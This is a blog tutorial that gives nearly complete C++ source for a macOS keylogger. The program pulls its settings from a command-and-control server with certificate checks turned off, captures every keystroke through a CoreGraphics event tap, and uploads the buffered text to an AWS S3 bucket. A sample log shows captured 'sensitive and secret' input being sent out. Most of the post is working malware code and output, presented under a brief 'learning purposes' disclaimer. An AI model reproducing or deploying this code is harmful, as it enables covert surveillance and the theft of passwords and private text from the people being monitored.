How To Implement a Keylogger for Mac OS X Using C++
How To Implement a Keylogger for Mac OS X Using C++
In this post, I will show you how to implement a macOS keystroke capturing app using C++. This blog post is intended solely for learning purposes. If you still think this is unethical, feel free to use your cute little navigation buttons in your browser to hop over to some other WebSite.
As part of the process, the application first establishes communication with a command-and-control (C2C) server to download a basic configuration before proceeding with any further actions. Any collected data is stored temporarily in memory and subsequently uploaded to an AWS S3 bucket at regular intervals, as specified by the configuration downloaded from the C2C server.
The configuration file is a JSON file that stores essential settings, including the S3 bucket name, a unique bucket key for each app upload to distinguish multiple applications, and a maximum buffer size parameter. The application monitors the buffer_size and automatically uploads cached data to S3 when this threshold is exceeded.
https://config-url/app.json
1
2
3
4
5
{
"bucket_name": "capture",
"key": "kl1",
"buffer_size": 10
}
The URL to this JSON file, along with the AWS credentials, will be provided to the application as command-line arguments. While this approach is not ideal, as it may expose sensitive configuration details, it is being used solely for learning purposes.
1
sudo ./app -c https://config-url/app.json -i testuser -s s3cret
After reading and parsing the command-line arguments, I initialize the main debug logger and output some debug information. Since I am using the same logging framework and methods as in my previous projects, which you can refer to in my earlier posts, I won’t go into detail on that. However, I will briefly demonstrate how to download and read the remote configuration file using libcurl for fetching the data and the nlohmann/json library for parsing the configuration.
The first step is to download the configuration file from the remote URL before parsing it. This can be achieved using libcurl to handle the HTTP request and retrieve the file’s contents.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
std::string QueryC2Server(const std::string &url)
{
CURL *curl;
CURLcode res;
std::string response;
curl_global_init(CURL_GLOBAL_ALL);
curl = curl_easy_init();
if (curl)
{
curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, WriteCallback);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response);
curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); // Set timeout
// SSL verification (disable for self-signed C2)
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
// Execute request
res = curl_easy_perform(curl);
if (res != CURLE_OK)
{
std::cerr << "CURL Error: " << curl_easy_strerror(res) << std::endl;
}
// Cleanup
curl_easy_cleanup(curl);
}
curl_global_cleanup();
return response;
}
Once downloaded, we can then use the nlohmann/json library to parse the configuration data.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
std::string config_json_str = QueryC2Server(config_url);
if (!config_json_str.empty())
{
Logging::INFO("Retrieved Config", m_name);
using json = nlohmann::json;
try
{
// Parse JSON string into a JSON object
json json_data = json::parse(config_json_str);
// Access values
bucket_name = json_data["bucket_name"];
bucket_key = json_data["key"];
buffer_size = json_data["buffer_size"];
// Output values
Logging::INFO("bucket_name: " + bucket_name, m_name);
Logging::INFO("bucket_key: " + bucket_key, m_name);
Logging::INFO("buffer_size: " + std::to_string(buffer_size), m_name);
}
catch (const json::parse_error &e)
{
Logging::ERROR("JSON parsing error: " + std::string(e.what()), m_name);
}
}
else
{
Logging::ERROR("Failed to retrieve configuration from C2 server.", m_name);
sig_channel->m_shutdown_requested.store(true);
}
CloudSender
The next component to implement is the CloudSender. This component will run in a separate thread, establish a connection with AWS, and continuously poll a queue for recorded keystrokes, storing them in its internal buffer.
Once the buffer reaches the minimum required size (as specified in the configuration), the data will be uploaded as a text file to AWS S3, with the filename set to the current UNIX epoch timestamp. Additionally, a timeout mechanism can be implemented to ensure that data is uploaded even if the buffer has not reached the required threshold within a given time frame. However, I will leave that implementation as an exercise for the reader.
I am using the AWS SDK for C++, which provides a modern C++ (C++11 or later) interface for interacting with Amazon Web Services (AWS).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
/* CloudSender/CloudSender.h */
#ifndef CLOUD_SENDER_H
#define CLOUD_SENDER_H
#include "../Architecture/AbstractPoller.h"
#include "../Common/TimeUtils.h"
#include "../Logging/Logging.h"
#include <aws/core/Aws.h>
#include <aws/core/auth/AWSCredentialsProvider.h>
#include <aws/core/utils/memory/stl/AWSStringStream.h>
#include <aws/s3/S3Client.h>
#include <aws/s3/model/GetObjectRequest.h>
#include <aws/s3/model/PutObjectRequest.h>
#include <fstream>
#include <iostream>
#include <memory>
#include <sstream>
#include <string>
#include <vector>
using namespace Aws;
using namespace Aws::S3;
using namespace Aws::S3::Model;
template <typename T>
class CloudSender : public AbstractPoller<T>
{
public:
CloudSender(std::string name,
std::shared_ptr<SignalChannel> sig_channel,
const std::string bucket_name,
const std::string bucket_key,
size_t buffer_size,
const std::string access_key_id,
const std::string secret_key)
: AbstractPoller<T>(name, sig_channel),
m_bucket(bucket_name),
m_bucket_key(bucket_key),
m_buffer_size(buffer_size),
m_access_key_id(access_key_id),
m_secret_key(secret_key)
{
m_buffer.reserve(m_buffer_size);
Aws::SDKOptions options;
Aws::Utils::Logging::LogLevel log_level{ Aws::Utils::Logging::LogLevel::Off };
options.loggingOptions.logLevel = log_level;
Aws::InitAPI(options);
Aws::Client::ClientConfiguration config;
// AWS_LOGSTREAM_FLUSH();
/*
PermanentRedirect Message: The bucket you are attempting to access must be addressed using
the specified endpoint. Please send all future requests to this endpoint. Aws::Region::EU_CENTRAL_1;
*/
config.region = Aws::Region::US_EAST_1;
config.scheme = Aws::Http::Scheme::HTTPS;
Aws::Auth::AWSCredentials credentials;
credentials.SetAWSAccessKeyId(Aws::String(m_access_key_id));
credentials.SetAWSSecretKey(Aws::String(m_secret_key));
m_s3_client = std::make_shared<Aws::S3::S3Client>(
credentials,
Aws::MakeShared<S3EndpointProvider>(Aws::S3::S3Client::ALLOCATION_TAG),
config);
}
// Copy Constructor
CloudSender(const CloudSender<T> &other)
: AbstractPoller<T>(other),
m_bucket(other.m_bucket),
m_bucket_key(other.m_bucket_key),
m_s3_client(std::make_shared<Aws::S3::S3Client>(*other.m_s3_client)),
m_buffer_size(other.m_buffer_size),
m_access_key_id(other.m_access_key_id),
m_secret_key(other.m_secret_key)
{
}
virtual AbstractPoller<T> *
clone() const override
{
return new CloudSender<T>(*this);
}
~CloudSender()
{
}
private:
const Aws::String m_bucket;
std::string m_bucket_key;
std::shared_ptr<Aws::S3::S3Client> m_s3_client;
std::vector<T> m_buffer;
size_t m_buffer_size;
std::string m_access_key_id;
std::string m_secret_key;
virtual void poll() override
{
PollResult<T> r;
this->m_queue->dequeue_with_timeout(1000, r);
if (r.get())
{
T c = r.get();
m_buffer.push_back(c);
if (m_buffer.size() == m_buffer_size)
{
std::string s3_key = m_bucket_key + "/" + Common::GetCurrentTimeInSeconds();
if (upload_content(std::string(m_buffer.begin(), m_buffer.end()), s3_key))
{
m_buffer.clear();
}
}
}
}
bool upload_content(const std::string &content,
const std::string key)
{
std::stringstream ss;
ss << "Uploading content '"
<< content
<< "' with key '"
<< key
<< "'...";
Logging::INFO(ss.str(), this->m_name);
Aws::S3::Model::PutObjectRequest put_object_request;
put_object_request.WithBucket(m_bucket).WithKey(key);
/* upload string without creating a local file first */
auto inputData = std::make_shared<std::stringstream>(content);
put_object_request.SetBody(inputData); // Set string stream as the body
auto put_object_outcome = m_s3_client->PutObject(put_object_request);
if (put_object_outcome.IsSuccess())
{
ss.str("Put object succeeded");
Logging::INFO(ss.str(), this->m_name);
return true;
}
else
{
ss.str("");
ss << "Error while putting Object "
<< put_object_outcome.GetError().GetExceptionName()
<< " "
<< put_object_outcome.GetError().GetMessage();
Logging::ERROR(ss.str(), this->m_name);
return false;
}
}
virtual void clean() override
{
Logging::INFO("Shutting down", this->m_name);
}
};
#endif
1
2
3
4
5
6
7
8
9
using PollType = char;
std::shared_ptr<SafeQueue<PollResult<PollType>>> queue = std::make_shared<SafeQueue<PollResult<PollType>>>();
...
CloudSender<PollType> sender("S3 Sender", sig_channel, bucket_name, bucket_key, buffer_size, access_key_id, secret_key);
PollerBridge<PollType> s3_sender_bridge(sender);
s3_sender_bridge.set_queue(queue);
s3_sender_bridge.start();
Some aspects of the implementation are self-explanatory, but I want to elaborate on a few proprietary components that I haven’t explained in this post.
The SignalChannel pointer is a wrapper class that holds an atomic boolean, shared among all threads in the application. The atomic boolean serves as a termination flag, signaling when threads (e.g., Logging, CloudSender, main thread, etc.) should stop working to allow the application to exit cleanly.
A separate thread is responsible for setting this flag to true—for example, when Ctrl+C is pressed while the application is running—ensuring a graceful shutdown process.
The AbstractPoller base class serves as an abstract foundation for the polling architecture, encapsulating the thread loop and managing essential components such as the queue and SignalChannel.
The PollerBridge class acts as a wrapper that integrates the CloudSender functionality using the Bridge pattern, ensuring separation of concerns. It also runs the core logic within a dedicated thread, facilitating efficient execution and scalability.
Main Keylogging Utility Functions
Now, let’s dive into the core functionality of this project—the main recording loop. This implementation is designed specifically for macOS, but it can be easily adapted for Windows or Linux.
Thanks to the modular architecture of the project, replacing the recording mechanism for another operating system should be straightforward. As long as the recorded keystrokes are pushed to the queue, the rest of the system—including logging, buffering, and cloud uploading—should function without modification.
To achieve this on macOS, we will leverage the CoreGraphics, ApplicationServices, and Carbon frameworks. These frameworks provide the necessary APIs to capture and process keyboard events efficiently within the recording loop.
Carbon– A legacy framework that provides a collection of C-based APIs, including HIToolbox, which contains TISCopyCurrentKeyboardInputSource().CoreGraphics– A separate, lower-level framework responsible for graphics rendering and event handling (e.g., capturing keystrokes via CGEventTap).ApplicationServices– An umbrella framework that used to include CoreGraphics and other APIs but has been deprecated in favor of directly linking individual frameworks.
You only need to include and link Carbon in your project because it indirectly pulls in CoreGraphics, as Carbon’s event-handling functions rely on it internally. Additionally, Carbon includes the necessary parts of ApplicationServices, so there is no need to explicitly link it.
Including <Carbon/Carbon.h> grants access to multiple sub-frameworks that Carbon depends on, such as HIToolbox (for TISCopyCurrentKeyboardInputSource()) and CoreGraphics (for CGEventTap). The macOS system frameworks automatically manage these dependencies, eliminating the need to manually include ApplicationServices.h, as it is already resolved.
Next, let’s define a few utility methods and the main callback function that will be triggered whenever a keystroke event occurs. These utility methods will help process key events, handle keycode conversions, and format the recorded data before pushing it to the queue.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
char keyCodeToChar(CGKeyCode keyCode, CGEventFlags flags)
{
// Get the current keyboard layout
TISInputSourceRef currentKeyboard = TISCopyCurrentKeyboardInputSource();
CFDataRef layoutData = (CFDataRef) TISGetInputSourceProperty(currentKeyboard, kTISPropertyUnicodeKeyLayoutData);
if (!layoutData)
{
return 0;
}
const UCKeyboardLayout *keyboardLayout = (const UCKeyboardLayout *) CFDataGetBytePtr(layoutData);
if (!keyboardLayout)
{
return 0;
}
// Map macOS CGEventFlags to UCKeyTranslate modifiers
UInt32 modifierKeyState = 0;
if (flags)
{
if (flags & kCGEventFlagMaskShift)
{
std::cout << "[Shift] ";
modifierKeyState |= NX_DEVICELSHIFTKEYMASK;
}
if (flags & kCGEventFlagMaskControl)
{
std::cout << "[Control] ";
modifierKeyState |= NX_DEVICELCTLKEYMASK;
}
if (flags & kCGEventFlagMaskAlternate)
{
std::cout << "[Option] ";
modifierKeyState |= NX_DEVICELALTKEYMASK;
}
if (flags & kCGEventFlagMaskCommand)
{
std::cout << "[Command] ";
modifierKeyState |= NX_DEVICELCMDKEYMASK;
}
}
// Translate key code to character with modifiers
UInt32 deadKeyState = 0;
UniChar chars[4];
UniCharCount charCount = 0;
// Translate the keycode to a Unicode character
OSStatus status = UCKeyTranslate(keyboardLayout, keyCode,
kUCKeyActionDown, // Key press event
modifierKeyState, // Corrected modifier key state
LMGetKbdType(), // Get keyboard type
kUCKeyTranslateNoDeadKeysBit,
&deadKeyState,
sizeof(chars) / sizeof(chars[0]),
&charCount,
chars);
CFRelease(currentKeyboard);
if (status != noErr || charCount == 0)
{
return '\0';
}
// Fills the string with n consecutive copies of character chars[0].
return chars[0];
}
// Function to print active modifier keys
void printModifiers(CGEventFlags flags)
{
std::cout << "Modifier keys: ";
if (flags & kCGEventFlagMaskShift)
std::cout << "[Shift] ";
if (flags & kCGEventFlagMaskControl)
std::cout << "[Control] ";
if (flags & kCGEventFlagMaskCommand)
std::cout << "[Command] ";
if (flags & kCGEventFlagMaskAlternate)
std::cout << "[Option] ";
if (flags & kCGEventFlagMaskSecondaryFn)
std::cout << "[Fn] ";
std::cout << std::endl;
}
// Callback function to handle key events
CGEventRef eventCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon)
{
CGEventFlags flags = CGEventGetFlags(event); // Get active modifier flags
if (type == kCGEventKeyDown)
{
CGKeyCode keycode = (CGKeyCode) CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);
char c = keyCodeToChar(keycode, flags);
queue->enqueue(c);
}
else if (type == kCGEventFlagsChanged)
{ // Modifier key pressed or released
printModifiers(flags);
}
return event;
}
Setting Up the Main Recording Loop
Now, let’s go ahead and create the main recording loop.
In Core Foundation, the function CFRunLoopGetCurrent() returns the current thread’s run loop, which is a core component of macOS applications. A run loop manages event processing, timers, and input sources, ensuring that a thread remains alive and responsive by continuously waiting for and dispatching events.
Since we need to capture and process input events, we must obtain the current thread’s run loop using CFRunLoopGetCurrent(), allowing us to attach event sources, observers, or timers for efficient event handling.
Integrating an Event Tap into the Run Loop
The following code sets up an event tap using CGEventTapCreate to monitor keyboard events, integrating it into the current thread’s run loop to ensure that events are captured and processed asynchronously.
CFMachPortCreateRunLoopSource(kCFAllocatorDefault, eventTap, 0);Converts the event tap (Mach port) into a run loop source, allowing it to be monitored within a run loop.CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);Adds the event tap’s run loop source to the current thread’s run loop, enabling it to receive and process keyboard events asynchronously.
How the Event Tap Works
- The event tap (eventTap) listens for keyboard input.
- The run loop continuously checks the event tap for new events.
- Whenever an event occurs, the callback function (registered in
CGEventTapCreate) is triggered. - The run loop keeps the event tap alive, ensuring that events continue to be captured and processed efficiently.
By integrating the event tap into the run loop, we create a robust and responsive event-processing mechanism, allowing for real-time input monitoring.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// Create an event tap to listen to key events
CGEventMask eventMask = (1 << kCGEventKeyDown);
CFMachPortRef eventTap = CGEventTapCreate(kCGSessionEventTap, kCGHeadInsertEventTap, kCGEventTapOptionDefault, eventMask, eventCallback, NULL);
if (!eventTap)
{
Logging::ERROR("Failed to create event tap. Try running with sudo.", m_name);
sig_channel->m_shutdown_requested.store(true);
}
if (!should_exit(sig_channel))
{
// Create a run loop source
CFRunLoopSourceRef runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, eventTap, 0);
CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
// Enable the event tap
CGEventTapEnable(eventTap, true);
Logging::INFO("Listening for keyboard events...", m_name);
CFRunLoopRef run_loop = CFRunLoopGetCurrent();
std::thread run_loop_monitor{ [&sig_channel, &run_loop]()
{
while (true)
{
if (should_exit(sig_channel))
{
CFRunLoopStop(run_loop);
Logging::INFO("Stopped runloop", m_name);
break;
std::this_thread::sleep_for(std::chrono::milliseconds(10));
}
}
} };
// Run the loop to keep listening for key events
CFRunLoopRun();
run_loop_monitor.join();
}
s3_sender_bridge.join();
The run_loop_monitor thread is a helper thread designed to stop the current run loop when a termination signal is received. It functions similarly to the other threads mentioned earlier, ensuring that the application can exit cleanly when needed.
And that’s it! You now have a fully functional application that captures and processes input events efficiently. I hope this post provided valuable insights into how macOS event handling works.
To conclude, here’s a sample console output demonstrating how the application runs in debug mode:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
% sudo ./app -c https://config-url/app.json -i testuser -s s3cret
2025/02/26 07:50:42.258883 [INFO] [Main] Version: GIT_REV=496963+ GIT_BRANCH=master
2025/02/26 07:50:43.075143 [INFO] [Main] Retrieved Config
2025/02/26 07:50:43.075765 [INFO] [Main] bucket_name: capture
2025/02/26 07:50:43.075797 [INFO] [Main] bucket_key: kl1
2025/02/26 07:50:43.075830 [INFO] [Main] buffer_size: 10
2025/02/26 07:50:49.134508 [INFO] [S3 Sender] Started
2025/02/26 07:50:49.252958 [INFO] [Main] Listening for keyboard events...
2025/02/26 07:50:59.267160 [INFO] [S3 Sender] Uploading content 'this is se' with key 'kl1/1740556259'...
2025/02/26 07:50:59.836379 [INFO] [S3 Sender] Put object succeeded
2025/02/26 07:51:06.630707 [INFO] [S3 Sender] Uploading content 'nsitive an' with key 'kl1/1740556266'...
2025/02/26 07:51:07.129610 [INFO] [S3 Sender] Put object succeeded
2025/02/26 07:51:14.662264 [INFO] [S3 Sender] Uploading content 'd secret..' with key 'kl1/1740556274'...
2025/02/26 07:51:15.171216 [INFO] [S3 Sender] Put object succeeded
^C[Control] Received signal Interrupt: 2
2025/02/26 07:51:22.135909 [INFO] [Main] Stopped runloop
2025/02/26 07:51:22.148533 [INFO] [LogProcessor] Shutdown requested. Processing remaining 2 messages...
2025/02/26 07:51:22.138415 [INFO] [S3 Sender] Shutting down
2025/02/26 07:51:22.138445 [INFO] [S3 Sender] Shutting down
2025/02/26 07:51:23.154163 [INFO] [LogProcessor] Shutting down
Thanks for reading, and happy coding!